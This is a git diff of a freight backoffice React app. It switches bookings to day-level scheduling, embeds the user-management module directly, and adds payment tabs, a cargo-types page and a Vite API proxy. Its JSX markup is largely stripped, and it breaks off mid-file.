+++ b/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx
@@ -44,7 +44,7 @@ import toast from "react-hot-toast";
import Breadcrumbs from "@/components/ui/Breadcrumbs";
import { bookingsService } from "@/services/bookings.service";
-import { useBookableSchedules } from "@/hooks/trainScheduling/useTrainScheduling";
+import { useAvailableDays } from "@/hooks/trainScheduling/useTrainScheduling";
import { api } from "@/auth/http";
import { unwrap } from "@/utils/endpoint";
import { URL_CONSTANTS } from "@/constants/URLS";
@@ -194,9 +194,9 @@ export default function NewBookingPage() {
const [freightType, setFreightType] = useState("CONTAINER");
const [originYardId, setOriginYardId] = useState(null);
const [destinationYardId, setDestinationYardId] = useState(null);
- const [trainScheduleId, setTrainScheduleId] = useState(null);
const [serviceTypeId, setServiceTypeId] = useState(null);
- const [scheduledDate, setScheduledDate] = useState("");
+ // Day-level pool: staff pick a DAY (yyyy-MM-dd); the engine assigns the train.
+ const [scheduledDay, setScheduledDay] = useState(null);
const [paymentCurrency, setPaymentCurrency] = useState("ETB");
// container freight
@@ -232,34 +232,37 @@ export default function NewBookingPage() {
label: c.name || c.email || c.tin || c.id,
}));
- const { data: bookableSchedules, isLoading: schedulesLoading } = useBookableSchedules(
+ // Day-level pool: fetch only the days that have a departure on the route (no
+ // train, no capacity). The batch engine assigns the train after booking.
+ const { data: availableDays, isLoading: daysLoading } = useAvailableDays(
originYardId,
destinationYardId,
);
- const scheduleOptions = (bookableSchedules ?? []).map((s) => ({
- value: s.id,
- label: `${s.routeName ?? `${s.origin} → ${s.destination}`} · ${new Date(
- s.scheduleDate,
- ).toLocaleString()} · ${s.remainingWagons}/${s.maxWagons} wagons free`,
+ const dayOptions = (availableDays ?? []).map((day) => ({
+ value: day,
+ label: new Date(`${day}T00:00:00`).toLocaleDateString(undefined, {
+ weekday: "short",
+ year: "numeric",
+ month: "short",
+ day: "numeric",
+ }),
}));
- const selectedSchedule = (bookableSchedules ?? []).find((s) => s.id === trainScheduleId);
+ const hasAvailableDays = (availableDays ?? []).length > 0;
- // When a schedule is chosen its date IS the departure; otherwise fall back to the manual field.
- const effectiveDepartureIso = selectedSchedule
- ? new Date(selectedSchedule.scheduleDate).toISOString()
- : scheduledDate
- ? new Date(scheduledDate).toISOString()
- : "";
+ // The chosen day becomes the booking's scheduledDate (start of day, ISO).
+ const effectiveDepartureIso = scheduledDay
+ ? new Date(`${scheduledDay}T00:00:00`).toISOString()
+ : "";
const yardRecords = refData?.yard ?? [];
const yards = yardRecords.map((y) => ({ value: y.id, label: y.name ?? y.code }));
const originYard = yardRecords.find((y) => y.id === originYardId) ?? null;
const destinationYard = yardRecords.find((y) => y.id === destinationYardId) ?? null;
const tradeDirection = deriveTradeDirectionFromYards(originYard, destinationYard);
- const hasBookableSchedules = (bookableSchedules ?? []).length > 0;
+ // Reset the day when the route changes — available days depend on the route.
useEffect(() => {
- setTrainScheduleId(null);
+ setScheduledDay(null);
}, [originYardId, destinationYardId]);
const services = (refData?.service ?? []).map((s) => ({ value: s.id, label: s.name ?? s.code }));
const shippingLines = (refData?.shipping_line ?? []).map((s) => ({ value: s.id, label: s.name ?? s.code }));
@@ -302,16 +305,15 @@ export default function NewBookingPage() {
const allLinesValid = lines.length > 0 && lines.every(lineValid);
const sameYard = Boolean(originYardId && originYardId === destinationYardId);
- const scheduleSatisfied =
- hasBookableSchedules ? Boolean(trainScheduleId) : Boolean(scheduledDate);
- const departureSatisfied = Boolean(selectedSchedule) || Boolean(scheduledDate);
+ // Day-level pool: a shipment DAY is all staff pick. The batch engine assigns
+ // the train afterwards (same flow as the customer portal).
+ const departureSatisfied = Boolean(scheduledDay);
const canSubmit =
Boolean(originYardId) &&
Boolean(destinationYardId) &&
!sameYard &&
Boolean(tradeDirection) &&
- scheduleSatisfied &&
Boolean(serviceTypeId) &&
departureSatisfied &&
(isGovernment ? governmentInstitution.trim().length >= 2 : Boolean(companyId)) &&
@@ -339,7 +341,7 @@ export default function NewBookingPage() {
scheduledDate: effectiveDepartureIso || new Date().toISOString(),
originYardId,
destinationYardId,
- trainScheduleId: trainScheduleId || undefined,
+ // Day-level pool: no trainScheduleId — the engine assigns the train.
serviceTypeId,
shippingLineId: shippingLineId || undefined,
firstMilePickupAddress: firstMilePickupAddress.trim() || undefined,
@@ -464,36 +466,30 @@ export default function NewBookingPage() {
value={destinationYardId}
onChange={(v) => {
setDestinationYardId(v);
- setTrainScheduleId(null);
+ setScheduledDay(null);
}}
searchable
disabled={isLoading}
error={sameYard ? "Same as origin" : undefined}
/>
- {hasBookableSchedules ? (
-
- ) : originYardId && destinationYardId ? (
-
- No open train schedule on this route — set a preferred departure below. Staff can
- link a schedule later.
-
- ) : null}
+
- {selectedSchedule ? (
-
- ) : (
- setScheduledDate(e.target.value)}
- />
- )}
+
(null);
+ const mountRef = useRef(null);
+ const rootRef = useRef(null);
+ const unmountTimerRef = useRef(null);
- const mountBase = (
- (import.meta.env.VITE_USER_MANAGEMENT_BASE as string | undefined) ?? '/_um'
- ).replace(/\/$/, '');
-
- const moduleOrigin = window.location.origin;
-
- const [iframeSrc] = useState(() => {
- const sub = location.pathname.replace(/^\/(?:dashboard\/)?um(?=\/|$)/, '');
- return mountBase + (sub || '/') + location.search;
- });
-
- // ✅ Send token when iframe loads
- const handleIframeLoad = () => {
- const token = readToken();
- const refreshToken = readRefreshToken();
- const target = iframeRef.current?.contentWindow;
-
- if (!token) {
- console.warn('⚠️ No authentication token found');
- return;
- }
-
- if (!target) {
- console.warn('⚠️ No iframe reference');
- return;
- }
-
- target.postMessage(
- {
- type: 'UM_AUTH_TOKEN',
- token,
- refreshToken,
- },
- moduleOrigin
- );
-
- console.log('✅ Token sent to iframe module');
- };
-
- // ✅ Listen for messages from iframe
useEffect(() => {
- const onMessage = (event: MessageEvent) => {
- // Security: Only accept from same origin
- if (event.origin !== moduleOrigin) {
- console.warn('🚫 Blocked message from different origin:', event.origin);
- return;
- }
+ const mountNode = mountRef.current;
- const data = event.data as { type?: string; path?: string } | undefined;
- if (!data) return;
+ if (!mountNode) {
+ return;
+ }
- // Handle auth request (if module asks for token again)
- if (data.type === 'UM_REQUEST_AUTH') {
- const token = readToken();
- const refreshToken = readRefreshToken();
- const target = iframeRef.current?.contentWindow;
+ if (unmountTimerRef.current !== null) {
+ window.clearTimeout(unmountTimerRef.current);
+ unmountTimerRef.current = null;
+ }
- if (token && target) {
- target.postMessage(
- {
- type: 'UM_AUTH_TOKEN',
- token,
- refreshToken,
- },
- moduleOrigin
- );
- console.log('✅ Token resent to iframe (on request)');
- }
- return;
- }
+ if (!rootRef.current) {
+ rootRef.current = createRoot(mountNode);
+ }
- // Handle route synchronization
- if (data.type === 'UM_ROUTE_CHANGED' && typeof data.path === 'string') {
- const target = '/dashboard/um' + data.path;
- if (window.location.pathname + window.location.search !== target) {
- navigate(target, { replace: true });
- }
- }
+ const apiBaseUrl = import.meta.env.VITE_BASE_API_URL.replace(/\/+$/, "");
+ const iamApiUrl = "/um-api";
+ const runtime: UserManagementRuntimeOptions = {
+ basename: "/um",
+ apiBaseUrl,
+ apiUrl: iamApiUrl,
+ recordApiUrl: iamApiUrl,
+ chronicleUrl: iamApiUrl,
+ auditApiUrl: iamApiUrl,
};
- window.addEventListener('message', onMessage);
- return () => window.removeEventListener('message', onMessage);
- }, [moduleOrigin, navigate]);
+ rootRef.current.render(
+ ,
+ );
- return (
-
-
-
- );
+ return () => {
+ unmountTimerRef.current = window.setTimeout(() => {
+ rootRef.current?.unmount();
+ rootRef.current = null;
+ unmountTimerRef.current = null;
+ }, 0);
+ };
+ }, []);
+
+ return
;
}
diff --git a/apps/edr-freight-web/backoffice/src/pages/dashboard/user-management/iamConfig.ts b/apps/edr-freight-web/backoffice/src/pages/dashboard/user-management/iamConfig.ts
new file mode 100644
index 000000000..923efad0e
--- /dev/null
+++ b/apps/edr-freight-web/backoffice/src/pages/dashboard/user-management/iamConfig.ts
@@ -0,0 +1,208 @@
+import type { DesignConfig } from "@tria-plc/iamui";
+
+import {
+ FREIGHT_BRAND,
+ FREIGHT_BRAND_DARK,
+ FREIGHT_BRAND_LIGHT,
+ freightBrand,
+} from "@/theme/freight-brand";
+
+export const iamConfig: DesignConfig = {
+ brand: {
+ appName: "EDR Freight Backoffice",
+ logoUrl: "/assets/logo.svg",
+ },
+ colors: {
+ primary: FREIGHT_BRAND,
+ primaryForeground: "#ffffff",
+ secondary: "#f4f7fb",
+ background: "#f7f9fb",
+ foreground: "#0f172a",
+ border: "#eef1f4",
+ muted: "#f1f5f9",
+ mutedForeground: "#64748b",
+ card: "#ffffff",
+ sidebar: "#ffffff",
+ danger: "#ef4444",
+ },
+ typography: {
+ fontFamily: "'Outfit', var(--font-sans), system-ui, sans-serif",
+ headingFontFamily: "'Outfit', var(--font-sans), system-ui, sans-serif",
+ baseFontSize: "15px",
+ fontWeight: "500",
+ },
+ shape: {
+ radius: "1rem",
+ },
+ shadows: {
+ card: "0 1px 2px rgba(15, 23, 42, 0.04), 0 8px 24px -16px rgba(15, 23, 42, 0.12)",
+ dropdown: "0 12px 30px rgba(15, 23, 42, 0.12)",
+ modal: "0 20px 45px rgba(15, 23, 42, 0.2)",
+ },
+ components: {
+ buttonDefaultVariant: "filled",
+ inputDefaultSize: "sm",
+ inputRadius: "md",
+ modalRadius: "lg",
+ tableHighlightOnHover: true,
+ },
+ layout: {
+ userManagementView: "classic",
+ showTopBar: true,
+ sidebarWidth: "280px",
+ sidebarCollapsedWidth: "80px",
+ headerHeight: "80px",
+ contentMaxWidth: "none",
+ sidebarBackground: "#ffffff",
+ sidebarColor: "#475569",
+ sidebarMutedColor: "#94a3b8",
+ sidebarActiveBackground:
+ "linear-gradient(135deg, rgba(45, 191, 149, 0.14) 0%, rgba(27, 158, 122, 0.06) 100%)",
+ sidebarActiveColor: FREIGHT_BRAND,
+ sidebarHoverBackground: "#f5f7fa",
+ sidebarBorder: "#eef1f4",
+ sidebarRail: `linear-gradient(180deg, ${FREIGHT_BRAND_LIGHT} 0%, ${FREIGHT_BRAND} 100%)`,
+ sidebarBrandLabel: "EDR Freight",
+ sidebarBrandSublabel: "Backoffice Console",
+ menuBackground: "#ffffff",
+ menuActiveColor: FREIGHT_BRAND,
+ menuActiveBorderColor: FREIGHT_BRAND,
+ menuColor: "#64748b",
+ menuHoverColor: "#0f172a",
+ modalAccentColor: `linear-gradient(135deg, ${FREIGHT_BRAND_LIGHT} 0%, ${FREIGHT_BRAND} 100%)`,
+ modalHeaderBackground: "#ffffff",
+ modalHeaderEditBackground: "#ffffff",
+ modalIconBackground: freightBrand.mutedBg,
+ modalIconColor: FREIGHT_BRAND,
+ modalTitleColor: "#0f172a",
+ modalFocusColor: FREIGHT_BRAND,
+ modalSurface: "#ffffff",
+ },
+ appearance: {
+ colorScheme: "light",
+ slots: {
+ root: {
+ styles: {
+ background: "#f7f9fb",
+ color: "#0f172a",
+ fontFamily: "'Outfit', var(--font-sans), system-ui, sans-serif",
+ },
+ },
+ shell: {
+ styles: {
+ background: "#f7f9fb",
+ },
+ },
+ content: {
+ styles: {
+ background: "#f7f9fb",
+ },
+ },
+ page: {
+ styles: {
+ background: "#ffffff",
+ border: "1px solid #eef1f4",
+ borderRadius: "24px",
+ boxShadow:
+ "0 1px 2px rgba(15, 23, 42, 0.04), 0 8px 24px -16px rgba(15, 23, 42, 0.12)",
+ },
+ },
+ card: {
+ styles: {
+ background: "#ffffff",
+ border: "1px solid #eef1f4",
+ borderRadius: "20px",
+ boxShadow:
+ "0 1px 2px rgba(15, 23, 42, 0.04), 0 8px 24px -16px rgba(15, 23, 42, 0.12)",
+ },
+ },
+ sidebar: {
+ styles: {
+ background: "#ffffff",
+ border: "1px solid #eef1f4",
+ borderRadius: "16px",
+ boxShadow:
+ "0 1px 2px rgba(15, 23, 42, 0.04), 0 8px 24px -16px rgba(15, 23, 42, 0.12)",
+ },
+ },
+ "sidebar-brand": {
+ styles: {
+ minHeight: "80px",
+ borderBottom: "1px solid #f1f5f9",
+ },
+ },
+ topbar: {
+ styles: {
+ background: "#ffffff",
+ border: "1px solid #eef1f4",
+ borderRadius: "16px",
+ boxShadow:
+ "0 1px 2px rgba(15, 23, 42, 0.04), 0 8px 24px -16px rgba(15, 23, 42, 0.12)",
+ },
+ },
+ "topbar-panel": {
+ styles: {
+ background: "#f7f9fb",
+ border: "1px solid #eef1f4",
+ borderRadius: "12px",
+ },
+ },
+ "topbar-user-summary": {
+ styles: {
+ borderRadius: "14px",
+ },
+ },
+ table: {
+ styles: {
+ background: "#ffffff",
+ border: "1px solid #eef1f4",
+ borderRadius: "20px",
+ overflow: "hidden",
+ },
+ },
+ "table-header": {
+ styles: {
+ background: "#f8fafc",
+ },
+ },
+ modal: {
+ styles: {
+ borderRadius: "24px",
+ overflow: "hidden",
+ },
+ },
+ "modal-header": {
+ styles: {
+ background: "#ffffff",
+ borderBottom: "1px solid #eef1f4",
+ },
+ },
+ },
+ customCss: `
+ [data-um-app="user-management"] {
+ --um-page-gap: 20px;
+ }
+
+ [data-um-app="user-management"] h1,
+ [data-um-app="user-management"] h2,
+ [data-um-app="user-management"] h3,
+ [data-um-app="user-management"] h4,
+ [data-um-app="user-management"] h5,
+ [data-um-app="user-management"] h6 {
+ letter-spacing: -0.02em;
+ color: #0f172a;
+ }
+
+ [data-um-app="user-management"] [data-um-slot="sidebar-item"][aria-current="page"] {
+ box-shadow: inset 3px 0 0 ${FREIGHT_BRAND};
+ }
+
+ [data-um-app="user-management"] button,
+ [data-um-app="user-management"] input,
+ [data-um-app="user-management"] select,
+ [data-um-app="user-management"] textarea {
+ font-family: 'Outfit', var(--font-sans), system-ui, sans-serif;
+ }
+ `,
+ },
+};
diff --git a/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx
index 07e212b76..af92d38fd 100644
--- a/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx
+++ b/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx
@@ -12,9 +12,11 @@ import {
Text,
TextInput,
} from "@mantine/core";
+import { Badge as MantineBadge } from "@mantine/core";
import {
CheckCircle2,
CircleDollarSign,
+ LayoutGrid,
Loader2,
RotateCcw,
Search,
@@ -24,6 +26,7 @@ import {
} from "lucide-react";
import Breadcrumbs from "@/components/ui/Breadcrumbs";
+import "@/components/overview/overview.css";
import { usePaymentList, usePaymentSummary } from "@/hooks/usePayments";
import type {
PaymentMethod,
@@ -39,11 +42,16 @@ import {
} from "@edr/ui-common";
const STATUS_TABS = [
- { key: "all", label: "All", statuses: undefined as string | undefined },
- { key: "success", label: "Success", statuses: "success" },
- { key: "processing", label: "Processing", statuses: "processing,action-required" },
- { key: "failed", label: "Failed", statuses: "failed,canceled" },
- { key: "refunded", label: "Refunded", statuses: "refunded" },
+ { key: "all", label: "All", statuses: undefined as string | undefined, icon: LayoutGrid },
+ { key: "success", label: "Success", statuses: "success", icon: CheckCircle2 },
+ {
+ key: "processing",
+ label: "Processing",
+ statuses: "processing,action-required",
+ icon: Loader2,
+ },
+ { key: "failed", label: "Failed", statuses: "failed,canceled", icon: XCircle },
+ { key: "refunded", label: "Refunded", statuses: "refunded", icon: RotateCcw },
] as const;
type StatusTabKey = (typeof STATUS_TABS)[number]["key"];
@@ -166,6 +174,20 @@ export default function PaymentsPage() {
const val = (n?: number) => (summaryLoading ? "—" : (n ?? 0));
+ const tabCounts: Record = {
+ all:
+ summary === undefined
+ ? undefined
+ : (summary.success ?? 0) +
+ (summary.processing ?? 0) +
+ (summary.failed ?? 0) +
+ (summary.refunded ?? 0),
+ success: summary?.success,
+ processing: summary?.processing,
+ failed: summary?.failed,
+ refunded: summary?.refunded,
+ };
+
const columns: ColumnDef[] = [
{
id: "order",
@@ -274,13 +296,48 @@ export default function PaymentsPage() {
setStatusTab((value as StatusTabKey) ?? "all");
setPagination({ pageIndex: 0, pageSize: pagination.pageSize });
}}
+ variant="pills"
+ color="green"
+ keepMounted={false}
+ classNames={{ list: "ov-tablist", tab: "ov-tab" }}
>
- {STATUS_TABS.map((t) => (
-
- {t.label}
-
- ))}
+ {STATUS_TABS.map((t) => {
+ const isActive = statusTab === t.key;
+ const count = tabCounts[t.key];
+ const Icon = t.icon;
+ return (
+ }
+ rightSection={
+ count !== undefined ? (
+
+ {count}
+
+ ) : undefined
+ }
+ >
+ {t.label}
+
+ );
+ })}
diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx
new file mode 100644
index 000000000..43dcac46a
--- /dev/null
+++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx
@@ -0,0 +1,512 @@
+import { useMemo, useState } from "react";
+import { Navigate, useNavigate, useParams } from "react-router-dom";
+import {
+ Badge,
+ Box,
+ Breadcrumbs,
+ Button,
+ Card,
+ Group,
+ Loader,
+ Modal,
+ Stack,
+ Text,
+ TextInput,
+ ThemeIcon,
+ Tooltip,
+ UnstyledButton,
+} from "@mantine/core";
+import {
+ Boxes,
+ ChevronRight,
+ FileText,
+ Home,
+ Layers,
+ Package,
+ Pencil,
+ Plus,
+ Search,
+ ShieldCheck,
+ Trash2,
+} from "lucide-react";
+
+import { useAuth } from "@/auth/useAuth";
+import { canAccessRuleEngineResource } from "@/lib/permissions";
+import RuleEngineFormDialog from "@/components/ruleEngine/RuleEngineFormDialog";
+import {
+ getRuleEngineResource,
+ type FormFieldDef,
+} from "@/pages/ruleEngine/config/resources";
+import {
+ useRuleEngineList,
+ useRuleEngineMutations,
+} from "@/hooks/rule-engine/useRuleEngine";
+import type { RuleEngineRecord } from "@/types/rule-engine";
+
+const CARGO_SLUG = "cargo-types";
+const BASE_PATH = "/dashboard/configuration/cargo-types";
+
+interface CargoNode extends RuleEngineRecord {
+ cargoTypeName?: string;
+ code?: string;
+ parentGroupId?: string | null;
+ showFreeTextBox?: boolean;
+ requiresDirectorApproval?: boolean;
+ isActive?: boolean;
+ displayOrder?: number;
+}
+
+const str = (v: unknown): string => (v == null ? "" : String(v));
+const orderOf = (n: CargoNode): number => Number(n.displayOrder ?? 0);
+
+/** Create/edit form fields. Parent is set from the current page, never picked. */
+const FORM_FIELDS: FormFieldDef[] = [
+ { name: "cargoTypeName", label: "Cargo type name", type: "text", required: true },
+ { name: "showFreeTextBox", label: "Show free text box", type: "boolean" },
+ { name: "requiresDirectorApproval", label: "Requires director approval", type: "boolean" },
+ { name: "isActive", label: "Active", type: "boolean" },
+];
+
+type FormMode = { kind: "create" } | { kind: "edit"; record: CargoNode };
+
+const CargoTypesPage = () => {
+ const { user } = useAuth();
+ const navigate = useNavigate();
+ const { id: currentId } = useParams<{ id: string }>();
+ const config = getRuleEngineResource(CARGO_SLUG);
+
+ const canView = canAccessRuleEngineResource(user, CARGO_SLUG, "view");
+ const canManage = canAccessRuleEngineResource(user, CARGO_SLUG, "manage");
+
+ // One fetch of the whole (small) set; the tree, ancestry and each level are
+ // derived client-side so drilling between levels is instant.
+ const { data, isLoading, isError } = useRuleEngineList(CARGO_SLUG, {
+ page: 1,
+ pageSize: 500,
+ sortBy: "displayOrder",
+ sortOrder: "ASC",
+ });
+
+ const { create, update, remove } = useRuleEngineMutations(CARGO_SLUG);
+
+ const [search, setSearch] = useState("");
+ const [formMode, setFormMode] = useState(null);
+ const [deleteTarget, setDeleteTarget] = useState(null);
+
+ const all = (data?.data ?? []) as CargoNode[];
+
+ const { byId, childrenOf } = useMemo(() => {
+ const byId = new Map(all.map((n) => [n.id, n]));
+ const childrenOf = new Map();
+ for (const node of all) {
+ const parentId = node.parentGroupId && byId.has(node.parentGroupId) ? node.parentGroupId : "";
+ const key = parentId || "__root__";
+ const list = childrenOf.get(key) ?? [];
+ list.push(node);
+ childrenOf.set(key, list);
+ }
+ for (const list of childrenOf.values()) {
+ list.sort(
+ (a, b) =>
+ orderOf(a) - orderOf(b) ||
+ str(a.cargoTypeName).localeCompare(str(b.cargoTypeName)),
+ );
+ }
+ return { byId, childrenOf };
+ }, [all]);
+
+ // Current node (null at root) and its ancestor chain for the breadcrumb.
+ const current = currentId ? byId.get(currentId) ?? null : null;
+ const ancestors = useMemo(() => {
+ const chain: CargoNode[] = [];
+ let node = current;
+ const seen = new Set();
+ while (node && !seen.has(node.id)) {
+ chain.unshift(node);
+ seen.add(node.id);
+ node = node.parentGroupId ? byId.get(node.parentGroupId) ?? null : null;
+ }
+ return chain;
+ }, [current, byId]);
+
+ const levelKey = current ? current.id : "__root__";
+ const levelNodes = childrenOf.get(levelKey) ?? [];
+
+ const term = search.trim().toLowerCase();
+ const matches = (n: CargoNode) =>
+ !term ||
+ str(n.cargoTypeName).toLowerCase().includes(term) ||
+ str(n.code).toLowerCase().includes(term);
+ const visibleNodes = useMemo(
+ () => (term ? levelNodes.filter(matches) : levelNodes),
+ [levelNodes, term],
+ );
+
+ if (!config) return ;
+ if (!canView) return ;
+ // A bad/stale :id (after data loads) → fall back to the root list.
+ if (!isLoading && currentId && !current) return ;
+
+ const atRoot = !current;
+ const countAtRoot = (childrenOf.get("__root__") ?? []).length;
+
+ const handleSubmit = (values: Record) => {
+ const payload: Record = { ...values };
+ // Add always attaches to the page we're on; edit keeps the node's parent.
+ if (formMode?.kind === "create" && current) {
+ payload.parentGroupId = current.id;
+ }
+ const done = () => setFormMode(null);
+ if (formMode?.kind === "edit") {
+ update.mutate({ id: formMode.record.id, payload }, { onSuccess: done });
+ } else {
+ create.mutate(payload, { onSuccess: done });
+ }
+ };
+
+ const addLabel = atRoot ? "Add category" : "Add cargo type";
+
+ return (
+
+ {/* ── Header ─────────────────────────────────────────────── */}
+
+ {/* Breadcrumb */}
+ }
+ mb="md"
+ >
+ navigate(BASE_PATH)}>
+
+
+
+ Cargo Types
+
+
+
+ {ancestors.map((node, i) => {
+ const isLast = i === ancestors.length - 1;
+ return (
+ !isLast && navigate(`${BASE_PATH}/${node.id}`)}
+ style={{ cursor: isLast ? "default" : "pointer" }}
+ >
+
+ {str(node.cargoTypeName) || "Untitled"}
+
+
+ );
+ })}
+
+
+
+
+
+ {atRoot ? : }
+
+
+
+
+ {atRoot ? "Cargo Types" : str(current?.cargoTypeName) || "Untitled"}
+
+ {!atRoot && current?.code ? (
+
+ {str(current.code)}
+
+ ) : null}
+ {!atRoot && current?.isActive === false ? (
+
+ Inactive
+
+ ) : null}
+
+
+ {atRoot
+ ? `${countAtRoot} top-level categor${countAtRoot === 1 ? "y" : "ies"} — click one to see what's inside`
+ : `${levelNodes.length} cargo type${levelNodes.length === 1 ? "" : "s"} directly under this category`}
+
+
+
+
+
+ setSearch(e.currentTarget.value)}
+ placeholder="Search this level…"
+ leftSection={ }
+ w={240}
+ />
+ {canManage && (
+ }
+ onClick={() => setFormMode({ kind: "create" })}
+ >
+ {addLabel}
+
+ )}
+
+
+
+
+ {/* ── Level list ─────────────────────────────────────────── */}
+
+ {isLoading ? (
+
+
+
+ ) : isError ? (
+
+ Failed to load cargo types.
+
+ ) : visibleNodes.length === 0 ? (
+
+
+
+
+
+ {term
+ ? "Nothing matches your search"
+ : atRoot
+ ? "No cargo categories yet"
+ : `No cargo types under “${str(current?.cargoTypeName)}” yet`}
+
+ {!term && canManage && (
+ }
+ onClick={() => setFormMode({ kind: "create" })}
+ >
+ {atRoot ? "Add your first category" : "Add the first cargo type"}
+
+ )}
+
+ ) : (
+
+ {visibleNodes.map((node, i) => (
+ 0}
+ canManage={canManage}
+ onOpen={() => navigate(`${BASE_PATH}/${node.id}`)}
+ onEdit={() => setFormMode({ kind: "edit", record: node })}
+ onDelete={() => setDeleteTarget(node)}
+ />
+ ))}
+
+ )}
+
+
+ {/* ── Create / edit dialog ───────────────────────────────── */}
+ {
+ if (!open) setFormMode(null);
+ }}
+ title={
+ formMode?.kind === "edit"
+ ? `Edit ${str(formMode.record.cargoTypeName)}`
+ : atRoot
+ ? "Add category"
+ : `Add cargo under “${str(current?.cargoTypeName)}”`
+ }
+ description={
+ formMode?.kind === "edit"
+ ? "Update this cargo type."
+ : atRoot
+ ? "Create a top-level cargo category."
+ : "Create a cargo type inside this category. It's attached here automatically."
+ }
+ fields={FORM_FIELDS}
+ initialRecord={formMode?.kind === "edit" ? formMode.record : null}
+ isSubmitting={create.isPending || update.isPending}
+ onSubmit={handleSubmit}
+ />
+
+ {/* ── Delete confirm ─────────────────────────────────────── */}
+ setDeleteTarget(null)}
+ title="Delete cargo type?"
+ centered
+ size="sm"
+ >
+
+
+ {deleteTarget && (childrenOf.get(deleteTarget.id)?.length ?? 0) > 0 ? (
+ <>
+
+ {str(deleteTarget?.cargoTypeName)}
+ {" "}
+ has {childrenOf.get(deleteTarget!.id)?.length} cargo type(s) under it. Deleting it
+ leaves them without a category. Continue?
+ >
+ ) : (
+ <>
+ This will delete{" "}
+
+ {str(deleteTarget?.cargoTypeName)}
+
+ .
+ >
+ )}
+
+
+ setDeleteTarget(null)}>
+ Cancel
+
+ {
+ if (!deleteTarget) return;
+ remove.mutate(deleteTarget.id, { onSuccess: () => setDeleteTarget(null) });
+ }}
+ >
+ Delete
+
+
+
+
+
+ );
+};
+
+// ── A single cargo row — drills into its own page on click ──────────────────
+interface CargoRowProps {
+ node: CargoNode;
+ childCount: number;
+ topBorder: boolean;
+ canManage: boolean;
+ onOpen: () => void;
+ onEdit: () => void;
+ onDelete: () => void;
+}
+
+function CargoRow({
+ node,
+ childCount,
+ topBorder,
+ canManage,
+ onOpen,
+ onEdit,
+ onDelete,
+}: CargoRowProps) {
+ const inactive = node.isActive === false;
+ const hasChildren = childCount > 0;
+ return (
+ {
+ e.currentTarget.style.background = "var(--mantine-color-teal-0)";
+ }}
+ onMouseLeave={(e) => {
+ e.currentTarget.style.background = "";
+ }}
+ >
+
+
+
+ {hasChildren ? : }
+
+
+
+
+ {str(node.cargoTypeName) || "Untitled"}
+
+ {node.code ? (
+
+ {str(node.code)}
+
+ ) : null}
+ {node.requiresDirectorApproval ? (
+
+ }
+ >
+ Approval
+
+
+ ) : null}
+ {node.showFreeTextBox ? (
+
+ }
+ >
+ Free text
+
+
+ ) : null}
+ {inactive ? (
+
+ Inactive
+
+ ) : null}
+
+
+ {hasChildren
+ ? `${childCount} cargo type${childCount === 1 ? "" : "s"} inside`
+ : "No cargo types inside yet — open to add"}
+
+
+
+
+
+
+ {canManage && (
+ <>
+
+
+
+
+
+
+
+
+
+
+ >
+ )}
+
+
+
+
+
+
+
+ );
+}
+
+export default CargoTypesPage;
diff --git a/apps/edr-freight-web/backoffice/src/services/trainScheduling.service.ts b/apps/edr-freight-web/backoffice/src/services/trainScheduling.service.ts
index 9a07d5bec..63929fd2e 100644
--- a/apps/edr-freight-web/backoffice/src/services/trainScheduling.service.ts
+++ b/apps/edr-freight-web/backoffice/src/services/trainScheduling.service.ts
@@ -109,6 +109,21 @@ export const trainSchedulingService = {
return unwrap(response.data);
},
+ /**
+ * Day-level pool: the days that have an OPEN departure on the route. Staff pick
+ * a day; the batch engine assigns the train. No capacity is returned.
+ */
+ getAvailableDays: async (
+ originYardId?: string,
+ destinationYardId?: string,
+ ): Promise => {
+ const response = await client.get<{ days: string[] }>(
+ URL_CONSTANTS.TRAIN_SCHEDULING.AVAILABLE_DAYS,
+ { params: { originYardId, destinationYardId } },
+ );
+ return unwrap(response.data).days;
+ },
+
runBatch: async (scheduleId: string): Promise => {
const response = await client.post(
URL_CONSTANTS.TRAIN_SCHEDULING.RUN_BATCH(scheduleId),
diff --git a/apps/edr-freight-web/backoffice/user-management b/apps/edr-freight-web/backoffice/user-management
new file mode 160000
index 000000000..e3a50a7c9
--- /dev/null
+++ b/apps/edr-freight-web/backoffice/user-management
@@ -0,0 +1 @@
+Subproject commit e3a50a7c91bc219e20c7068d8344ae25cbc72baf
diff --git a/apps/edr-freight-web/backoffice/vite.config.ts b/apps/edr-freight-web/backoffice/vite.config.ts
index b6ec390a6..0a2bf0ce8 100644
--- a/apps/edr-freight-web/backoffice/vite.config.ts
+++ b/apps/edr-freight-web/backoffice/vite.config.ts
@@ -1,58 +1,127 @@
import path from "node:path";
import { fileURLToPath } from "node:url";
-import type { IncomingMessage, ServerResponse } from "node:http";
import { defineConfig } from "vitest/config";
+import { loadEnv, type Plugin } from "vite";
import react from "@vitejs/plugin-react";
import tailwindcss from "@tailwindcss/vite";
-import type { ViteDevServer, PreviewServer } from "vite";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
-function userManagementSpaFallback() {
- const rewrite = (req: IncomingMessage) => {
- const url = req.url ?? '';
- if (!url.startsWith('/_um/') && url !== '/_um') return;
- if (/\.[a-zA-Z0-9]+$/.test(url.split('?')[0])) return;
- req.url = '/_um/index.html';
- };
+function createIamApiAdapter(apiBaseUrl: string): Plugin {
+ const upstreamBaseUrl = `${apiBaseUrl.replace(/\/+$/, "")}/api`;
+
return {
- name: 'user-management-spa-fallback',
- configureServer(s: ViteDevServer) {
- s.middlewares.use((req: IncomingMessage, _r: ServerResponse, next: () => void) => {
- rewrite(req);
- next();
- });
-
- },
- configurePreviewServer(s: PreviewServer) {
- s.middlewares.use((req: IncomingMessage, _r: ServerResponse, next: () => void) => {
- rewrite(req);
- next();
+ name: "iam-api-adapter",
+ configureServer(server) {
+ server.middlewares.use("/um-api", async (req, res) => {
+ const requestPath = req.url ?? "/";
+ const normalizedPath = requestPath.replace(/^\/+/, "");
+ const targetUrl = new URL(normalizedPath, `${upstreamBaseUrl}/`);
+
+ try {
+ const headers = new Headers();
+ for (const [key, value] of Object.entries(req.headers)) {
+ if (!value || key.toLowerCase() === "host") {
+ continue;
+ }
+
